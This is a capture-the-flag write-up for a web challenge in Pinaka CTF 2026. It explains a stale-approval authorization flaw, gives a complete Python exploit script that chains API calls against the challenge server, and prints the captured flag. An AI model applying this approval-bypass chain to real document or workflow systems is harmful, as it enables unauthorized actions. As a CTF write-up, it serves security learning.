Angada's Embassy

By Team Cryptonite · 1 min read

About the CTF: Pinaka CTF

Angada planted his foot in Ravana's court and swore not to be moved. The court runs on signed oaths and sealed approvals, each one lawful on its own. Make their lawful agreement carry an unlawful decree.

**Pinaka CTF 2026** · Web · Team Cryptonite · All 44 Pinaka write-ups

>Angada planted his foot in Ravana's court and swore not to be moved. The court runs on signed oaths and sealed approvals, each one lawful on its own. Make their lawful agreement carry an unlawful decree.

Solve

• /dispatch authorizes off the approval's stored snapshot from when tick approved it, but then sends whatever the doc's live current_rev actually resolves to.
• ratify is the only thing that touch currentrev. It lets you set sourcedocid/sourcerev_id to basically anything,
• first i created session and my own document
• then i had to self delegate dispatch, so signature becomes valid
• submit for approval
• opened court, tabled the doc and docsealedreply together.
• called ratify on doc, referenced it to docsealedreply's sealed revision
• called dispatch, auth check passes off the stale snapshot, but it sends the sealed rev.
• heres script:

#!/usr/bin/env python3
import json, urllib.request, urllib.error

BASE = "https://pinaka-angada-embassy.onrender.com"

def call(method, path, body=None, sid=None, token=None):
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(BASE + path, data=data, method=method)
    req.add_header("Content-Type", "application/json")
    if sid: req.add_header("X-Session", sid)
    if token: req.add_header("Authorization", "Bearer " + token)
    try:
        with urllib.request.urlopen(req, timeout=30) as r:
            return r.status, json.loads(r.read().decode())
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


_, r = call("POST", "/portal/session")
sid, tok = r["session_id"], r["token"]

_, r = call("POST", "/documents", {"subject": "rama", "content": "benign"}, sid, tok)
doc, rev = r["doc_id"], r["current_rev"]

call("POST", "/delegation/delegations", {"doc_id": doc, "delegate": "angada", "permission": "dispatch"}, sid, tok)
call("POST", "/approvals", {"doc_id": doc, "rev_id": rev}, sid, tok)
call("POST", "/approvals/tick", {}, sid, tok)

_, r = call("POST", "/dispatch/sessions", {"name": "audience"}, sid, tok)
court = r["court_id"]

call("POST", f"/documents/{doc}/table", {"court_id": court}, sid, tok)
call("POST", "/documents/doc_sealed_reply/table", {"court_id": court}, sid, tok)
call("POST", f"/documents/{doc}/ratify", {"source_doc_id": "doc_sealed_reply", "source_rev_id": "rev_sealed", "court_id": court}, sid, tok)

_, r = call("POST", "/dispatch", {"doc_id": doc, "court_id": court}, sid, tok)
print(r)

Output:

Flag:

PINAKA{thesealbreakswherelegitimateworkflowscross}

Read this post on CyberHx →